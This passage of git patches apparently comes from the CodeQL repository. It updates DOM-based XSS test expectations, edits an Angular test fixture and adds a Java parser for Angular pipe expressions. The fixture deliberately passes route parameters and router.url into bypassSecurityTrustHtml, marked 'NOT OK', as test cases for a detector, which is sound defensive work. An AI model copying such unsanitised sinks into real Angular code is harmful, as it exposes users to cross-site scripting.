\\u0275getDOM ... ation() | user-provided value | +| angular2-client.ts:24:44:24:73 | this.ro ... ams.foo | angular2-client.ts:24:44:24:69 | this.ro ... .params | angular2-client.ts:24:44:24:73 | this.ro ... ams.foo | Cross-site scripting vulnerability due to $@. | angular2-client.ts:24:44:24:69 | this.ro ... .params | user-provided value | +| angular2-client.ts:25:44:25:78 | this.ro ... ams.foo | angular2-client.ts:25:44:25:74 | this.ro ... yParams | angular2-client.ts:25:44:25:78 | this.ro ... ams.foo | Cross-site scripting vulnerability due to $@. | angular2-client.ts:25:44:25:74 | this.ro ... yParams | user-provided value | +| angular2-client.ts:26:44:26:71 | this.ro ... ragment | angular2-client.ts:26:44:26:71 | this.ro ... ragment | angular2-client.ts:26:44:26:71 | this.ro ... ragment | Cross-site scripting vulnerability due to $@. | angular2-client.ts:26:44:26:71 | this.ro ... ragment | user-provided value | +| angular2-client.ts:27:44:27:82 | this.ro ... ('foo') | angular2-client.ts:27:44:27:82 | this.ro ... ('foo') | angular2-client.ts:27:44:27:82 | this.ro ... ('foo') | Cross-site scripting vulnerability due to $@. | angular2-client.ts:27:44:27:82 | this.ro ... ('foo') | user-provided value | +| angular2-client.ts:28:44:28:87 | this.ro ... ('foo') | angular2-client.ts:28:44:28:87 | this.ro ... ('foo') | angular2-client.ts:28:44:28:87 | this.ro ... ('foo') | Cross-site scripting vulnerability due to $@. | angular2-client.ts:28:44:28:87 | this.ro ... ('foo') | user-provided value | +| angular2-client.ts:30:46:30:59 | map.get('foo') | angular2-client.ts:30:46:30:59 | map.get('foo') | angular2-client.ts:30:46:30:59 | map.get('foo') | Cross-site scripting vulnerability due to $@. | angular2-client.ts:30:46:30:59 | map.get('foo') | user-provided value | +| angular2-client.ts:33:44:33:74 | this.ro ... 1].path | angular2-client.ts:33:44:33:74 | this.ro ... 1].path | angular2-client.ts:33:44:33:74 | this.ro ... 1].path | Cross-site scripting vulnerability due to $@. | angular2-client.ts:33:44:33:74 | this.ro ... 1].path | user-provided value | +| angular2-client.ts:34:44:34:82 | this.ro ... eters.x | angular2-client.ts:34:44:34:80 | this.ro ... ameters | angular2-client.ts:34:44:34:82 | this.ro ... eters.x | Cross-site scripting vulnerability due to $@. | angular2-client.ts:34:44:34:80 | this.ro ... ameters | user-provided value | +| angular2-client.ts:35:44:35:91 | this.ro ... et('x') | angular2-client.ts:35:44:35:91 | this.ro ... et('x') | angular2-client.ts:35:44:35:91 | this.ro ... et('x') | Cross-site scripting vulnerability due to $@. | angular2-client.ts:35:44:35:91 | this.ro ... et('x') | user-provided value | +| angular2-client.ts:36:44:36:91 | this.ro ... arams.x | angular2-client.ts:36:44:36:89 | this.ro ... .params | angular2-client.ts:36:44:36:91 | this.ro ... arams.x | Cross-site scripting vulnerability due to $@. | angular2-client.ts:36:44:36:89 | this.ro ... .params | user-provided value | +| angular2-client.ts:38:44:38:58 | this.router.url | angular2-client.ts:38:44:38:58 | this.router.url | angular2-client.ts:38:44:38:58 | this.router.url | Cross-site scripting vulnerability due to $@. | angular2-client.ts:38:44:38:58 | this.router.url | user-provided value | +| angular2-client.ts:44:44:44:76 | routeSn ... ('foo') | angular2-client.ts:44:44:44:76 | routeSn ... ('foo') | angular2-client.ts:44:44:44:76 | routeSn ... ('foo') | Cross-site scripting vulnerability due to $@. | angular2-client.ts:44:44:44:76 | routeSn ... ('foo') | user-provided value | | classnames.js:7:31:7:84 | `<span ... <span>` | classnames.js:7:58:7:68 | window.name | classnames.js:7:31:7:84 | `<span ... <span>` | Cross-site scripting vulnerability due to $@. | classnames.js:7:58:7:68 | window.name | user-provided value | | classnames.js:8:31:8:85 | `<span ... <span>` | classnames.js:8:59:8:69 | window.name | classnames.js:8:31:8:85 | `<span ... <span>` | Cross-site scripting vulnerability due to $@. | classnames.js:8:59:8:69 | window.name | user-provided value | | classnames.js:9:31:9:85 | `<span ... <span>` | classnames.js:9:59:9:69 | window.name | classnames.js:9:31:9:85 | `<span ... <span>` | Cross-site scripting vulnerability due to $@. | classnames.js:9:59:9:69 | window.name | user-provided value | diff --git a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/XssWithAdditionalSources.expected b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/XssWithAdditionalSources.expected index 2090fed75d2..70090d56718 100644 --- a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/XssWithAdditionalSources.expected +++ b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/XssWithAdditionalSources.expected @@ -15,50 +15,50 @@ nodes | addEventListener.js:12:24:12:28 | event | | addEventListener.js:12:24:12:33 | event.data | | addEventListener.js:12:24:12:33 | event.data | -| angular2-client.ts:21:44:21:66 | \\u0275getDOM ... ation() | -| angular2-client.ts:21:44:21:66 | \\u0275getDOM ... ation() | -| angular2-client.ts:21:44:21:71 | \\u0275getDOM ... ().href | -| angular2-client.ts:21:44:21:71 | \\u0275getDOM ... ().href | -| angular2-client.ts:23:44:23:69 | this.ro ... .params | -| angular2-client.ts:23:44:23:69 | this.ro ... .params | -| angular2-client.ts:23:44:23:73 | this.ro ... ams.foo | -| angular2-client.ts:23:44:23:73 | this.ro ... ams.foo | -| angular2-client.ts:24:44:24:74 | this.ro ... yParams | -| angular2-client.ts:24:44:24:74 | this.ro ... yParams | -| angular2-client.ts:24:44:24:78 | this.ro ... ams.foo | -| angular2-client.ts:24:44:24:78 | this.ro ... ams.foo | -| angular2-client.ts:25:44:25:71 | this.ro ... ragment | -| angular2-client.ts:25:44:25:71 | this.ro ... ragment | -| angular2-client.ts:25:44:25:71 | this.ro ... ragment | -| angular2-client.ts:26:44:26:82 | this.ro ... ('foo') | -| angular2-client.ts:26:44:26:82 | this.ro ... ('foo') | -| angular2-client.ts:26:44:26:82 | this.ro ... ('foo') | -| angular2-client.ts:27:44:27:87 | this.ro ... ('foo') | -| angular2-client.ts:27:44:27:87 | this.ro ... ('foo') | -| angular2-client.ts:27:44:27:87 | this.ro ... ('foo') | -| angular2-client.ts:29:46:29:59 | map.get('foo') | -| angular2-client.ts:29:46:29:59 | map.get('foo') | -| angular2-client.ts:29:46:29:59 | map.get('foo') | -| angular2-client.ts:32:44:32:74 | this.ro ... 1].path | -| angular2-client.ts:32:44:32:74 | this.ro ... 1].path | -| angular2-client.ts:32:44:32:74 | this.ro ... 1].path | -| angular2-client.ts:33:44:33:80 | this.ro ... ameters | -| angular2-client.ts:33:44:33:80 | this.ro ... ameters | -| angular2-client.ts:33:44:33:82 | this.ro ... eters.x | -| angular2-client.ts:33:44:33:82 | this.ro ... eters.x | -| angular2-client.ts:34:44:34:91 | this.ro ... et('x') | -| angular2-client.ts:34:44:34:91 | this.ro ... et('x') | -| angular2-client.ts:34:44:34:91 | this.ro ... et('x') | -| angular2-client.ts:35:44:35:89 | this.ro ... .params | -| angular2-client.ts:35:44:35:89 | this.ro ... .params | -| angular2-client.ts:35:44:35:91 | this.ro ... arams.x | -| angular2-client.ts:35:44:35:91 | this.ro ... arams.x | -| angular2-client.ts:37:44:37:58 | this.router.url | -| angular2-client.ts:37:44:37:58 | this.router.url | -| angular2-client.ts:37:44:37:58 | this.router.url | -| angular2-client.ts:41:44:41:76 | routeSn ... ('foo') | -| angular2-client.ts:41:44:41:76 | routeSn ... ('foo') | -| angular2-client.ts:41:44:41:76 | routeSn ... ('foo') | +| angular2-client.ts:22:44:22:66 | \\u0275getDOM ... ation() | +| angular2-client.ts:22:44:22:66 | \\u0275getDOM ... ation() | +| angular2-client.ts:22:44:22:71 | \\u0275getDOM ... ().href | +| angular2-client.ts:22:44:22:71 | \\u0275getDOM ... ().href | +| angular2-client.ts:24:44:24:69 | this.ro ... .params | +| angular2-client.ts:24:44:24:69 | this.ro ... .params | +| angular2-client.ts:24:44:24:73 | this.ro ... ams.foo | +| angular2-client.ts:24:44:24:73 | this.ro ... ams.foo | +| angular2-client.ts:25:44:25:74 | this.ro ... yParams | +| angular2-client.ts:25:44:25:74 | this.ro ... yParams | +| angular2-client.ts:25:44:25:78 | this.ro ... ams.foo | +| angular2-client.ts:25:44:25:78 | this.ro ... ams.foo | +| angular2-client.ts:26:44:26:71 | this.ro ... ragment | +| angular2-client.ts:26:44:26:71 | this.ro ... ragment | +| angular2-client.ts:26:44:26:71 | this.ro ... ragment | +| angular2-client.ts:27:44:27:82 | this.ro ... ('foo') | +| angular2-client.ts:27:44:27:82 | this.ro ... ('foo') | +| angular2-client.ts:27:44:27:82 | this.ro ... ('foo') | +| angular2-client.ts:28:44:28:87 | this.ro ... ('foo') | +| angular2-client.ts:28:44:28:87 | this.ro ... ('foo') | +| angular2-client.ts:28:44:28:87 | this.ro ... ('foo') | +| angular2-client.ts:30:46:30:59 | map.get('foo') | +| angular2-client.ts:30:46:30:59 | map.get('foo') | +| angular2-client.ts:30:46:30:59 | map.get('foo') | +| angular2-client.ts:33:44:33:74 | this.ro ... 1].path | +| angular2-client.ts:33:44:33:74 | this.ro ... 1].path | +| angular2-client.ts:33:44:33:74 | this.ro ... 1].path | +| angular2-client.ts:34:44:34:80 | this.ro ... ameters | +| angular2-client.ts:34:44:34:80 | this.ro ... ameters | +| angular2-client.ts:34:44:34:82 | this.ro ... eters.x | +| angular2-client.ts:34:44:34:82 | this.ro ... eters.x | +| angular2-client.ts:35:44:35:91 | this.ro ... et('x') | +| angular2-client.ts:35:44:35:91 | this.ro ... et('x') | +| angular2-client.ts:35:44:35:91 | this.ro ... et('x') | +| angular2-client.ts:36:44:36:89 | this.ro ... .params | +| angular2-client.ts:36:44:36:89 | this.ro ... .params | +| angular2-client.ts:36:44:36:91 | this.ro ... arams.x | +| angular2-client.ts:36:44:36:91 | this.ro ... arams.x | +| angular2-client.ts:38:44:38:58 | this.router.url | +| angular2-client.ts:38:44:38:58 | this.router.url | +| angular2-client.ts:38:44:38:58 | this.router.url | +| angular2-client.ts:44:44:44:76 | routeSn ... ('foo') | +| angular2-client.ts:44:44:44:76 | routeSn ... ('foo') | +| angular2-client.ts:44:44:44:76 | routeSn ... ('foo') | | classnames.js:7:31:7:84 | `<span ... <span>` | | classnames.js:7:31:7:84 | `<span ... <span>` | | classnames.js:7:47:7:69 | classNa ... w.name) | @@ -681,34 +681,34 @@ edges | addEventListener.js:10:21:10:25 | event | addEventListener.js:12:24:12:28 | event | | addEventListener.js:12:24:12:28 | event | addEventListener.js:12:24:12:33 | event.data | | addEventListener.js:12:24:12:28 | event | addEventListener.js:12:24:12:33 | event.data | -| angular2-client.ts:21:44:21:66 | \\u0275getDOM ... ation() | angular2-client.ts:21:44:21:71 | \\u0275getDOM ... ().href | -| angular2-client.ts:21:44:21:66 | \\u0275getDOM ... ation() | angular2-client.ts:21:44:21:71 | \\u0275getDOM ... ().href | -| angular2-client.ts:21:44:21:66 | \\u0275getDOM ... ation() | angular2-client.ts:21:44:21:71 | \\u0275getDOM ... ().href | -| angular2-client.ts:21:44:21:66 | \\u0275getDOM ... ation() | angular2-client.ts:21:44:21:71 | \\u0275getDOM ... ().href | -| angular2-client.ts:23:44:23:69 | this.ro ... .params | angular2-client.ts:23:44:23:73 | this.ro ... ams.foo | -| angular2-client.ts:23:44:23:69 | this.ro ... .params | angular2-client.ts:23:44:23:73 | this.ro ... ams.foo | -| angular2-client.ts:23:44:23:69 | this.ro ... .params | angular2-client.ts:23:44:23:73 | this.ro ... ams.foo | -| angular2-client.ts:23:44:23:69 | this.ro ... .params | angular2-client.ts:23:44:23:73 | this.ro ... ams.foo | -| angular2-client.ts:24:44:24:74 | this.ro ... yParams | angular2-client.ts:24:44:24:78 | this.ro ... ams.foo | -| angular2-client.ts:24:44:24:74 | this.ro ... yParams | angular2-client.ts:24:44:24:78 | this.ro ... ams.foo | -| angular2-client.ts:24:44:24:74 | this.ro ... yParams | angular2-client.ts:24:44:24:78 | this.ro ... ams.foo | -| angular2-client.ts:24:44:24:74 | this.ro ... yParams | angular2-client.ts:24:44:24:78 | this.ro ... ams.foo | -| angular2-client.ts:25:44:25:71 | this.ro ... ragment | angular2-client.ts:25:44:25:71 | this.ro ... ragment | -| angular2-client.ts:26:44:26:82 | this.ro ... ('foo') | angular2-client.ts:26:44:26:82 | this.ro ... ('foo') | -| angular2-client.ts:27:44:27:87 | this.ro ... ('foo') | angular2-client.ts:27:44:27:87 | this.ro ... ('foo') | -| angular2-client.ts:29:46:29:59 | map.get('foo') | angular2-client.ts:29:46:29:59 | map.get('foo') | -| angular2-client.ts:32:44:32:74 | this.ro ... 1].path | angular2-client.ts:32:44:32:74 | this.ro ... 1].path | -| angular2-client.ts:33:44:33:80 | this.ro ... ameters | angular2-client.ts:33:44:33:82 | this.ro ... eters.x | -| angular2-client.ts:33:44:33:80 | this.ro ... ameters | angular2-client.ts:33:44:33:82 | this.ro ... eters.x | -| angular2-client.ts:33:44:33:80 | this.ro ... ameters | angular2-client.ts:33:44:33:82 | this.ro ... eters.x | -| angular2-client.ts:33:44:33:80 | this.ro ... ameters | angular2-client.ts:33:44:33:82 | this.ro ... eters.x | -| angular2-client.ts:34:44:34:91 | this.ro ... et('x') | angular2-client.ts:34:44:34:91 | this.ro ... et('x') | -| angular2-client.ts:35:44:35:89 | this.ro ... .params | angular2-client.ts:35:44:35:91 | this.ro ... arams.x | -| angular2-client.ts:35:44:35:89 | this.ro ... .params | angular2-client.ts:35:44:35:91 | this.ro ... arams.x | -| angular2-client.ts:35:44:35:89 | this.ro ... .params | angular2-client.ts:35:44:35:91 | this.ro ... arams.x | -| angular2-client.ts:35:44:35:89 | this.ro ... .params | angular2-client.ts:35:44:35:91 | this.ro ... arams.x | -| angular2-client.ts:37:44:37:58 | this.router.url | angular2-client.ts:37:44:37:58 | this.router.url | -| angular2-client.ts:41:44:41:76 | routeSn ... ('foo') | angular2-client.ts:41:44:41:76 | routeSn ... ('foo') | +| angular2-client.ts:22:44:22:66 | \\u0275getDOM ... ation() | angular2-client.ts:22:44:22:71 | \\u0275getDOM ... ().href | +| angular2-client.ts:22:44:22:66 | \\u0275getDOM ... ation() | angular2-client.ts:22:44:22:71 | \\u0275getDOM ... ().href | +| angular2-client.ts:22:44:22:66 | \\u0275getDOM ... ation() | angular2-client.ts:22:44:22:71 | \\u0275getDOM ... ().href | +| angular2-client.ts:22:44:22:66 | \\u0275getDOM ... ation() | angular2-client.ts:22:44:22:71 | \\u0275getDOM ... ().href | +| angular2-client.ts:24:44:24:69 | this.ro ... .params | angular2-client.ts:24:44:24:73 | this.ro ... ams.foo | +| angular2-client.ts:24:44:24:69 | this.ro ... .params | angular2-client.ts:24:44:24:73 | this.ro ... ams.foo | +| angular2-client.ts:24:44:24:69 | this.ro ... .params | angular2-client.ts:24:44:24:73 | this.ro ... ams.foo | +| angular2-client.ts:24:44:24:69 | this.ro ... .params | angular2-client.ts:24:44:24:73 | this.ro ... ams.foo | +| angular2-client.ts:25:44:25:74 | this.ro ... yParams | angular2-client.ts:25:44:25:78 | this.ro ... ams.foo | +| angular2-client.ts:25:44:25:74 | this.ro ... yParams | angular2-client.ts:25:44:25:78 | this.ro ... ams.foo | +| angular2-client.ts:25:44:25:74 | this.ro ... yParams | angular2-client.ts:25:44:25:78 | this.ro ... ams.foo | +| angular2-client.ts:25:44:25:74 | this.ro ... yParams | angular2-client.ts:25:44:25:78 | this.ro ... ams.foo | +| angular2-client.ts:26:44:26:71 | this.ro ... ragment | angular2-client.ts:26:44:26:71 | this.ro ... ragment | +| angular2-client.ts:27:44:27:82 | this.ro ... ('foo') | angular2-client.ts:27:44:27:82 | this.ro ... ('foo') | +| angular2-client.ts:28:44:28:87 | this.ro ... ('foo') | angular2-client.ts:28:44:28:87 | this.ro ... ('foo') | +| angular2-client.ts:30:46:30:59 | map.get('foo') | angular2-client.ts:30:46:30:59 | map.get('foo') | +| angular2-client.ts:33:44:33:74 | this.ro ... 1].path | angular2-client.ts:33:44:33:74 | this.ro ... 1].path | +| angular2-client.ts:34:44:34:80 | this.ro ... ameters | angular2-client.ts:34:44:34:82 | this.ro ... eters.x | +| angular2-client.ts:34:44:34:80 | this.ro ... ameters | angular2-client.ts:34:44:34:82 | this.ro ... eters.x | +| angular2-client.ts:34:44:34:80 | this.ro ... ameters | angular2-client.ts:34:44:34:82 | this.ro ... eters.x | +| angular2-client.ts:34:44:34:80 | this.ro ... ameters | angular2-client.ts:34:44:34:82 | this.ro ... eters.x | +| angular2-client.ts:35:44:35:91 | this.ro ... et('x') | angular2-client.ts:35:44:35:91 | this.ro ... et('x') | +| angular2-client.ts:36:44:36:89 | this.ro ... .params | angular2-client.ts:36:44:36:91 | this.ro ... arams.x | +| angular2-client.ts:36:44:36:89 | this.ro ... .params | angular2-client.ts:36:44:36:91 | this.ro ... arams.x | +| angular2-client.ts:36:44:36:89 | this.ro ... .params | angular2-client.ts:36:44:36:91 | this.ro ... arams.x | +| angular2-client.ts:36:44:36:89 | this.ro ... .params | angular2-client.ts:36:44:36:91 | this.ro ... arams.x | +| angular2-client.ts:38:44:38:58 | this.router.url | angular2-client.ts:38:44:38:58 | this.router.url | +| angular2-client.ts:44:44:44:76 | routeSn ... ('foo') | angular2-client.ts:44:44:44:76 | routeSn ... ('foo') | | classnames.js:7:47:7:69 | classNa ... w.name) | classnames.js:7:31:7:84 | `<span ... <span>` | | classnames.js:7:47:7:69 | classNa ... w.name) | classnames.js:7:31:7:84 | `<span ... <span>` | | classnames.js:7:58:7:68 | window.name | classnames.js:7:47:7:69 | classNa ... w.name) | diff --git a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/angular2-client.ts b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/angular2-client.ts index 5ed51722f10..569cde4ecdf 100644 --- a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/angular2-client.ts +++ b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/angular2-client.ts @@ -1,4 +1,4 @@ -import { Component, OnInit } from '@angular/core'; +import { Component, OnInit, DomSanitizer as DomSanitizer2 } from '@angular/core'; import { ɵgetDOM } from '@angular/common'; import { ActivatedRoute, ActivatedRouteSnapshot, Router } from '@angular/router'; import { DomSanitizer } from '@angular/platform-browser'; @@ -14,7 +14,8 @@ export class AppComponent implements OnInit { constructor( private route: ActivatedRoute, private sanitizer: DomSanitizer, - private router: Router + private router: Router, + // private sanitizer2: DomSanitizer2 ) {} ngOnInit() { @@ -35,6 +36,8 @@ export class AppComponent implements OnInit { this.sanitizer.bypassSecurityTrustHtml(this.route.snapshot.url[1].parameterMap.params.x); // NOT OK this.sanitizer.bypassSecurityTrustHtml(this.router.url); // NOT OK + + // this.sanitizer2.bypassSecurityTrustHtml(this.router.url); // NOT OK } someMethod(routeSnapshot: ActivatedRouteSnapshot) { From 3db6069372504ac965ed9d02acc7bfb8e180a647 Mon Sep 17 00:00:00 2001 From: Asger Feldthaus <asgerf@github.com> Date: Mon, 18 Jan 2021 10:55:34 +0000 Subject: [PATCH 0632/1241] JS: Add test for new sink --- .../query-tests/Security/CWE-079/DomBasedXss/Xss.expected | 5 +++++ .../CWE-079/DomBasedXss/XssWithAdditionalSources.expected | 4 ++++ .../Security/CWE-079/DomBasedXss/angular2-client.ts | 4 ++-- 3 files changed, 11 insertions(+), 2 deletions(-) diff --git a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/Xss.expected b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/Xss.expected index 701157e6164..400099525c8 100644 --- a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/Xss.expected +++ b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/Xss.expected @@ -56,6 +56,9 @@ nodes | angular2-client.ts:38:44:38:58 | this.router.url | | angular2-client.ts:38:44:38:58 | this.router.url | | angular2-client.ts:38:44:38:58 | this.router.url | +| angular2-client.ts:40:45:40:59 | this.router.url | +| angular2-client.ts:40:45:40:59 | this.router.url | +| angular2-client.ts:40:45:40:59 | this.router.url | | angular2-client.ts:44:44:44:76 | routeSn ... ('foo') | | angular2-client.ts:44:44:44:76 | routeSn ... ('foo') | | angular2-client.ts:44:44:44:76 | routeSn ... ('foo') | @@ -697,6 +700,7 @@ edges | angular2-client.ts:36:44:36:89 | this.ro ... .params | angular2-client.ts:36:44:36:91 | this.ro ... arams.x | | angular2-client.ts:36:44:36:89 | this.ro ... .params | angular2-client.ts:36:44:36:91 | this.ro ... arams.x | | angular2-client.ts:38:44:38:58 | this.router.url | angular2-client.ts:38:44:38:58 | this.router.url | +| angular2-client.ts:40:45:40:59 | this.router.url | angular2-client.ts:40:45:40:59 | this.router.url | | angular2-client.ts:44:44:44:76 | routeSn ... ('foo') | angular2-client.ts:44:44:44:76 | routeSn ... ('foo') | | classnames.js:7:47:7:69 | classNa ... w.name) | classnames.js:7:31:7:84 | `<span ... <span>` | | classnames.js:7:47:7:69 | classNa ... w.name) | classnames.js:7:31:7:84 | `<span ... <span>` | @@ -1238,6 +1242,7 @@ edges | angular2-client.ts:35:44:35:91 | this.ro ... et('x') | angular2-client.ts:35:44:35:91 | this.ro ... et('x') | angular2-client.ts:35:44:35:91 | this.ro ... et('x') | Cross-site scripting vulnerability due to $@. | angular2-client.ts:35:44:35:91 | this.ro ... et('x') | user-provided value | | angular2-client.ts:36:44:36:91 | this.ro ... arams.x | angular2-client.ts:36:44:36:89 | this.ro ... .params | angular2-client.ts:36:44:36:91 | this.ro ... arams.x | Cross-site scripting vulnerability due to $@. | angular2-client.ts:36:44:36:89 | this.ro ... .params | user-provided value | | angular2-client.ts:38:44:38:58 | this.router.url | angular2-client.ts:38:44:38:58 | this.router.url | angular2-client.ts:38:44:38:58 | this.router.url | Cross-site scripting vulnerability due to $@. | angular2-client.ts:38:44:38:58 | this.router.url | user-provided value | +| angular2-client.ts:40:45:40:59 | this.router.url | angular2-client.ts:40:45:40:59 | this.router.url | angular2-client.ts:40:45:40:59 | this.router.url | Cross-site scripting vulnerability due to $@. | angular2-client.ts:40:45:40:59 | this.router.url | user-provided value | | angular2-client.ts:44:44:44:76 | routeSn ... ('foo') | angular2-client.ts:44:44:44:76 | routeSn ... ('foo') | angular2-client.ts:44:44:44:76 | routeSn ... ('foo') | Cross-site scripting vulnerability due to $@. | angular2-client.ts:44:44:44:76 | routeSn ... ('foo') | user-provided value | | classnames.js:7:31:7:84 | `<span ... <span>` | classnames.js:7:58:7:68 | window.name | classnames.js:7:31:7:84 | `<span ... <span>` | Cross-site scripting vulnerability due to $@. | classnames.js:7:58:7:68 | window.name | user-provided value | | classnames.js:8:31:8:85 | `<span ... <span>` | classnames.js:8:59:8:69 | window.name | classnames.js:8:31:8:85 | `<span ... <span>` | Cross-site scripting vulnerability due to $@. | classnames.js:8:59:8:69 | window.name | user-provided value | diff --git a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/XssWithAdditionalSources.expected b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/XssWithAdditionalSources.expected index 70090d56718..524868273da 100644 --- a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/XssWithAdditionalSources.expected +++ b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/XssWithAdditionalSources.expected @@ -56,6 +56,9 @@ nodes | angular2-client.ts:38:44:38:58 | this.router.url | | angular2-client.ts:38:44:38:58 | this.router.url | | angular2-client.ts:38:44:38:58 | this.router.url | +| angular2-client.ts:40:45:40:59 | this.router.url | +| angular2-client.ts:40:45:40:59 | this.router.url | +| angular2-client.ts:40:45:40:59 | this.router.url | | angular2-client.ts:44:44:44:76 | routeSn ... ('foo') | | angular2-client.ts:44:44:44:76 | routeSn ... ('foo') | | angular2-client.ts:44:44:44:76 | routeSn ... ('foo') | @@ -708,6 +711,7 @@ edges | angular2-client.ts:36:44:36:89 | this.ro ... .params | angular2-client.ts:36:44:36:91 | this.ro ... arams.x | | angular2-client.ts:36:44:36:89 | this.ro ... .params | angular2-client.ts:36:44:36:91 | this.ro ... arams.x | | angular2-client.ts:38:44:38:58 | this.router.url | angular2-client.ts:38:44:38:58 | this.router.url | +| angular2-client.ts:40:45:40:59 | this.router.url | angular2-client.ts:40:45:40:59 | this.router.url | | angular2-client.ts:44:44:44:76 | routeSn ... ('foo') | angular2-client.ts:44:44:44:76 | routeSn ... ('foo') | | classnames.js:7:47:7:69 | classNa ... w.name) | classnames.js:7:31:7:84 | `<span ... <span>` | | classnames.js:7:47:7:69 | classNa ... w.name) | classnames.js:7:31:7:84 | `<span ... <span>` | diff --git a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/angular2-client.ts b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/angular2-client.ts index 569cde4ecdf..734a06da3bc 100644 --- a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/angular2-client.ts +++ b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/angular2-client.ts @@ -15,7 +15,7 @@ export class AppComponent implements OnInit { private route: ActivatedRoute, private sanitizer: DomSanitizer, private router: Router, - // private sanitizer2: DomSanitizer2 + private sanitizer2: DomSanitizer2 ) {} ngOnInit() { @@ -37,7 +37,7 @@ export class AppComponent implements OnInit { this.sanitizer.bypassSecurityTrustHtml(this.router.url); // NOT OK - // this.sanitizer2.bypassSecurityTrustHtml(this.router.url); // NOT OK + this.sanitizer2.bypassSecurityTrustHtml(this.router.url); // NOT OK } someMethod(routeSnapshot: ActivatedRouteSnapshot) { From 928a382ad5d309bbacb9d79ea90e9a3730bf4350 Mon Sep 17 00:00:00 2001 From: Asger Feldthaus <asgerf@github.com> Date: Wed, 9 Dec 2020 09:50:59 +0000 Subject: [PATCH 0633/1241] JS: Add parser for angular expressions --- .../semmle/jcorn/AngularExpressionParser.java | 45 +++++++++++++++++++ .../src/com/semmle/jcorn/Parser.java | 29 ++++++------ 2 files changed, 59 insertions(+), 15 deletions(-) create mode 100644 javascript/extractor/src/com/semmle/jcorn/AngularExpressionParser.java diff --git a/javascript/extractor/src/com/semmle/jcorn/AngularExpressionParser.java b/javascript/extractor/src/com/semmle/jcorn/AngularExpressionParser.java new file mode 100644 index 00000000000..82bf626a0d0 --- /dev/null +++ b/javascript/extractor/src/com/semmle/jcorn/AngularExpressionParser.java @@ -0,0 +1,45 @@ +package com.semmle.jcorn; + +import java.util.ArrayList; +import java.util.List; + +import com.semmle.js.ast.CallExpression; +import com.semmle.js.ast.Expression; +import com.semmle.js.ast.Position; +import com.semmle.js.ast.SourceLocation; + +/** + * Parser for Angular template expressions, based on the JS parser with + * modified handling of the pipe operator. + */ +public class AngularExpressionParser extends Parser { + public AngularExpressionParser(String input, int startPos) { + super(new Options(), input, startPos); + } + + @Override + protected Expression buildBinary( + int startPos, + Position startLoc, + Expression left, + Expression right, + String op, + boolean logical) { + // Angular pipe expression: `x|f:a` is desugared to `f(x, a)` + if (op.equals("|")) { + DestructuringErrors refDestructuringErrors = new DestructuringErrors(); + List<Expression> arguments = new ArrayList<>(); + arguments.add(left); + while (this.type == TokenType.colon) { + this.next(); + int argStartPos = this.pos; + Position argStartLocation = this.curPosition(); + Expression arg = parseMaybeUnary(refDestructuringErrors, false); + arguments.add(parseExprOp(arg, argStartPos, argStartLocation, TokenType.plusMin.binop, true)); + } + SourceLocation loc = new SourceLocation(startLoc); + return this.finishNode(new CallExpression(loc, right, null, arguments, false, false)); + } + return super.buildBinary(startPos, startLoc, left, right, op, logical); + } +} diff --git a/javascript/extractor/src/com/semmle/jcorn/Parser.java b/javascript/extractor/src/com/semmle/jcorn/Parser.java index 7c018b6a456..827b6d4ec03 100644 --- a/javascript/extractor/src/com/semmle/jcorn/Parser.java +++ b/javascript/extractor/src/com/semmle/jcorn/Parser.java @@ -3,9 +3,21 @@ package com.semmle.jcorn; import static com.semmle.jcorn.Whitespace.isNewLine; import static com.semmle.jcorn.Whitespace.lineBreak; +import java.io.File; +import java.util.ArrayList; +import java.util.LinkedHashMap; +import java.util.LinkedHashSet; +import java.util.List; +import java.util.Map; +import java.util.Objects; +import java.util.Set; +import java.util.Stack; +import java.util.function.Function; +import java.util.regex.Matcher; +import java.util.regex.Pattern; + import com.semmle.jcorn.Identifiers.Dialect; import com.semmle.jcorn.Options.AllowReserved; -import com.semmle.jcorn.TokenType.Properties; import com.semmle.js.ast.ArrayExpression; import com.semmle.js.ast.ArrayPattern; import com.semmle.js.ast.ArrowFunctionExpression; @@ -45,7 +57,6 @@ import com.semmle.js.ast.INode; import com.semmle.js.ast.IPattern; import com.semmle.js.ast.Identifier; import com.semmle.js.ast.IfStatement; -import com.semmle.js.ast.FieldDefinition; import com.semmle.js.ast.ImportDeclaration; import com.semmle.js.ast.ImportDefaultSpecifier; import com.semmle.js.ast.ImportNamespaceSpecifier; @@ -95,18 +106,6 @@ import com.semmle.util.data.StringUtil; import com.semmle.util.exception.CatastrophicError; import com.semmle.util.exception.Exceptions; import com.semmle.util.io.WholeIO; -import java.io.File; -import java.util.ArrayList; -import java.util.LinkedHashMap; -import java.util.LinkedHashSet; -import java.util.List; -import java.util.Map; -import java.util.Objects; -import java.util.Set; -import java.util.Stack; -import java.util.function.Function; -import java.util.regex.Matcher; -import java.util.regex.Pattern; /** * Java port of Acorn. @@ -1462,7 +1461,7 @@ public class Parser { return left; } - private Expression buildBinary( + protected Expression buildBinary( int startPos, Position startLoc, Expression left, From 16a2a60b9a01938d371d7f723428e7c199610e8f Mon Sep 17 00:00:00 2001 From: Asger Feldthaus <asgerf@github.com> Date: Wed, 9 Dec 2020 13:01:36 +0000 Subject: [PATCH 0634/1241] JS: Add AngularPipeRef --- .../semmle/jcorn/AngularExpressionParser.java | 7 ++++- .../src/com/semmle/js/ast/AngularPipeRef.java | 27 +++++++++++++++++++ .../src/com/semmle/js/ast/DefaultVisitor.java | 5 ++++ .../src/com/semmle/js/ast/NodeCopier.java | 